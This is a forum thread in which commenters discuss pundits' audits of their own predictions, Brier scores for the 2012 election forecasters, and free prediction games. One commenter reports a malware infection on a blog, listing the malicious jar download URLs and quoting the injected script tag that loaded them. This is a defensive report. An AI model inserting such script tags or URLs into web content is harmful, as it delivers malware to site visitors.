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[LINK] "Prediction Audits" for Nate Silver, Dave Weigel

12 Post author: orthonormal 30 December 2011 09:07PM

Nate Silver (the NYT quantitative political analyst) and Dave Weigel (the Slate columnist) have started a good tradition, listing their worst predictions of 2011. (Silver also listed his best.)

If any other pundits are doing the same, link them here.

Comments (18)

Comment author: lukeprog 07 November 2012 08:34:51PM 3 points [-]

Now that the election is over, I would like to see someone calculate Nate Silver's Brier score (including his Senate predictions), and also the Brier score for anyone else who gave that many probabilistic predictions.

Comment author: lukeprog 08 November 2012 01:37:37AM *  3 points [-]

Update: Gwern is working on this with me. The result will be a CFAR blog post.

Comment author: gwern 09 November 2012 12:39:17AM *  2 points [-]
Comment author: arundelo 09 November 2012 01:22:56AM 2 points [-]

When I go to that post on the CFAR site I get a popup window that says:

Security Warning
Do you want to run this application?
Name: Java(TM) Platform SE Auto Updater
Publisher: UNKNOWN
From: http://barbarie.ch

If I hit cancel it goes away and immediately returns. I'm using Firefox 16.0.2.

Comment author: arundelo 09 November 2012 01:31:46AM *  3 points [-]

Looks like the whole blog part of the site is infected.

Edit: I can't pinpoint where the infection is and I can't duplicate it on another computer, but in case it helps, here are the URLs of the jar files it's trying to run:

<http://barbarie.ch/pix/jar/java7.jar?r=1069897>
<http://barbarie.ch/pix/jar/javab.jar?r=313862>
<http://barbarie.ch/pix/jar/amor1.jar>
<http://barbarie.ch/pix/jar/amor2.jar>
<http://barbarie.ch/pix/jar/amor3.jar>
<http://barbarie.ch/pix/jar/amor4.jar>
<http://barbarie.ch/pix/jar/amor5.jar>
<http://barbarie.ch/pix/jar/amor6.jar>
<http://barbarie.ch/pix/jar/amor7.jar>

I'm also putting a link to this info in the "Contact the CFAR Staff" form on the site.

Comment author: lukeprog 09 November 2012 02:55:10AM 1 point [-]

Thanks. We have someone looking at it now.

Comment author: arundelo 09 November 2012 03:37:59AM 1 point [-]

In case they haven't found it yet, it looks like the code that sets the mischief in motion is the following:

<div class="textwidget"><p><script type="text/javascript" src="<http://www.balivilla.fr/jquery.php>"></script></p>

(LW's Markdown processor may add angle brackets around the URL that aren't really there.)

Comment author: lukeprog 09 November 2012 04:24:31AM 0 points [-]

Thanks; I believe it's now fixed.

Comment author: aaronsw 09 November 2012 01:45:41AM 0 points [-]

Why doesn't Jackman get a Brier score? He claims it's .00991: http://jackman.stanford.edu/blog/?p=2602

Comment author: gwern 09 November 2012 02:19:36AM *  2 points [-]

Jackman only just released his data now (after twittering with me, incidentally, I was able to explain why his R Brier score wasn't matching his hand-calculated Brier score) because he forgot to send it to me last night; and I'm running on fumes - we started this project from scratch yesterday at 5PM and I've been working on it ever since. EDIT: Looks like all the kerfluffle of new Brier/RMSE scores prodded Sam Wang into releasing his precise predictions too! Neat. EDITEDIT: I've gotten Jackman's data, incorporated it, discovered an error in my own data, differed with Jackman, learned he regarded 5 states as such a sure thing he didn't include probabilities while I had simply put in NAs, and now we've converged on his Brier score. Phew! His current Brier score is 0.009713686, a bit worse than Silver's 0.009113725, and both seem to be outperformed by Drew Linzer's 0.003843257. Wang seems to've released the data, but the CSV is unlabeled and I have no idea what half the columns mean...

I'd also like to include a random-guesser equivalent for RMSE... Tomorrow.

Comment author: gwern 09 November 2012 09:05:05PM 0 points [-]

A better Brier random guesser and its RMSE equivalent are now in the R doc and hopefully the blog post will be updated shortly.

Comment author: lukeprog 09 November 2012 02:00:00AM 0 points [-]

We only included people whose Brier scores we could calculate ourselves. We plan to add Jackman when we get his data.

Comment author: aaronsw 09 November 2012 01:44:25AM 1 point [-]

Apparently a team at Penn is doing this as well:

http://jackman.stanford.edu/blog/?p=2602

Comment author: smijer 31 December 2011 12:25:01AM 2 points [-]

Is there a free / registration only prediction market game? I'm too poor to gamble real money, but I'd like to see something that will allow gambling for points or some such, and introduce it to my circle of friends. Something that allows a wide variety of categories of bet, with the ability to add your own well-quantified predictions.

Comment author: Solvent 31 December 2011 11:30:02AM 9 points [-]

I assume that you've heard of PredictionBook? That's not scored, but it is a good system.

Comment author: smijer 10 January 2012 04:11:30PM 0 points [-]

Thank you. I will check it out.

Comment author: AlexSchell 30 December 2011 10:19:51PM 1 point [-]

Weigel only lists his four worst.

Comment author: orthonormal 30 December 2011 11:45:52PM 0 points [-]

Fixed the post- thanks!